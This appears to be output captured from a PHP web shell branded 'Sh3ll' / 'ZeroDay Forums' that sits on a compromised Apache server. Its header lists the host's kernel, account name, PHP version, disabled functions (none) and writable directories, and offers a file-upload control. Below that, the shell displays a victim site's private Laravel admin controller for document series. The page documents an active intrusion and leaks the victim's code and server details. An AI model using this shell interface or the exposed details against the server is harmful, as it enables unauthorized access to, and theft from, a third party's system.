Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/app/Modules/Accounts/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/app/Modules/Accounts/Http/Controllers/Admin/SeriesController.php
<?php
namespace App\Modules\Accounts\Http\Controllers\Admin;

use App\Http\Controllers\AdminController;
use App\Http\Requests;
use App\Modules\Accounts\Http\Requests\CompanyRequest;
use App\Modules\Accounts\Http\Requests\SeriesdocRequest;
use App\Modules\Accounts\Models\Account;
use App\Modules\Accounts\Models\Seriesdoc;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
use Laracasts\Flash\Flash;
use Yajra\Datatables\Datatables;
use Illuminate\Support\Facades\Auth;


class SeriesController extends AdminController
{

    /**
     * Display a listing of the resource.
     *
     * @return Response
     */
    public function index()
    {
        $this->data['page_title'] = trans('accounts::series.page_title');
        return view('accounts::admin.series.index', $this->data);
    }

    /**
     * Show a list of all companies
     *
     * @return mixed
     */
    public function data(Request $request)
    {
        //create object contact
        $obj = $this->getData($request);

        //create array with contacts permissions access
        $this->data['can'] = [
            'edit'   => $this->data['user']->roles()->pluck('slug')[0] === 'developer' || $this->data['user']->roles()->pluck('slug')[0] === 'salon',
            'delete' => $this->data['user']->roles()->pluck('slug')[0] === 'developer' || $this->data['user']->roles()->pluck('slug')[0] === 'salon',
        ];

        //return datatables data
        return Datatables::of($obj)
            ->editColumn('type', function($o){
                $types = trans('accounts::series.form_types_opt');
                return $types[$o->type];
            })
            ->editColumn('account_id', function($o){
                return $o->account ? $o->account->company : null ;
            })
            ->addColumn('actions', function ($o) {
                $this->data['o']=$o;
                return view('accounts::admin.series.list_actions',$this->data)->render();
            })
            ->rawColumns(['actions'])
            ->removeColumn('id')
            ->removeColumn('updated_at')
            ->make(true);
    }

    /**
     * Get object entries
     * @param Request $request
     */
    protected function getData(Request $request)
    {
        if(Auth::user()->hasRole('salon')) {
        $obj = Seriesdoc::where('user_id', Auth::user()->id)
                        ->orderBy('account_id','asc')
                        ->orderBy('type','asc')
                        ->get();
        } else {
            $obj = Seriesdoc::where('user_id', 0)
                        ->orderBy('account_id','asc')
                        ->orderBy('type','asc')
                        ->get();
        }

        //return object
        return $obj;
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return Response
     */
    public function create()
    {
        $this->data['page_title'] = trans('accounts::series.page_title');
        if(Auth::user()->hasRole('salon')) {
            $this->data['form']['accounts'] = Account::where('user_id', Auth::user()->id)->pluck('company','id');
        } else {
            $this->data['form']['accounts'] = Account::pluck('company','id');
        }
        $this->data['form']['types'] = trans('accounts::series.form_types_opt');

        //show page
        return view('accounts::admin.series.create_edit', $this->data);
    }

    /**
     * Store a newly created resource in storage.
     *
     * @return Response
     */
    public function store(SeriesdocRequest $request)
    {
        if(Auth::user()->hasRole('salon')) {
            //save new service type
            $data = $request->all();
            $data['last_number'] = $request->number-1;
            $data['user_id'] = Auth::user()->id;
            $obj = Seriesdoc::create($data);
        } else {
            //save new service type
            $data = $request->all();
            $data['last_number'] = $request->number-1;
            $obj = Seriesdoc::create($data);
        }

        //redirect
        if ($request->save) {
            return redirect(route('admin.accounts.seriesdoc.edit', ['seriesdoc' => $obj->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.accounts.seriesdoc.index'));
        }
    }

    /**
     * Edit Service Type
     *
     * @param $label
     * @return \BladeView|bool|\Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function edit(Seriesdoc $seriesdoc)
    {
        $obj = $seriesdoc;
        $this->data['page_title'] = trans('accounts::series.page_title');
        if(Auth::user()->hasRole('salon')) {
            $this->data['form']['accounts'] = Account::where('user_id', Auth::user()->id)->pluck('company','id');
        } else {
            $this->data['form']['accounts'] = Account::pluck('company','id');
        }
        $this->data['form']['types'] = trans('accounts::series.form_types_opt');
        $this->data['obj'] = $obj;

        //show page
        return view('accounts::admin.series.create_edit', $this->data);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  int $id
     * @return Response
     */
    public function update(SeriesdocRequest $request, Seriesdoc $seriesdoc)
    {
        $obj = $seriesdoc;

        //fields to be updated
        $fillable = $obj['fillable'];

        $fields = array();
        foreach ($request->all() as $field => $f) {
            if (in_array($field, $fillable)) {
                $fields[$field] = $f;
            }
        } //end foreach

        //update label
        Seriesdoc::where('id', $obj->id)->update($fields);


        //redirect
        if ($request->save) {
            return redirect(route('admin.accounts.seriesdoc.edit', ['id' => $obj->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.accounts.seriesdoc.index'));
        }
    }

    /**
     * Delete page
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function delete(Seriesdoc $seriesdoc)
    {
        $this->data['obj'] = $seriesdoc;

        return view('accounts::admin.series.delete', $this->data);
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function destroy(Seriesdoc $seriesdoc)
    {
        $obj = $seriesdoc;

        //set object name
        $obj_company = $obj->account->company;
        $obj_series = $obj->series;

        //delete contact
        $obj->delete();

        //set success message
        Flash::info(trans('accounts::series.message_confirm_delete', ['company' => $obj_company, 'series'=>$obj_series]));

        //redirect to contacts list
        return redirect(route('admin.accounts.seriesdoc.index'));
    }

}

ZeroDay Forums Mini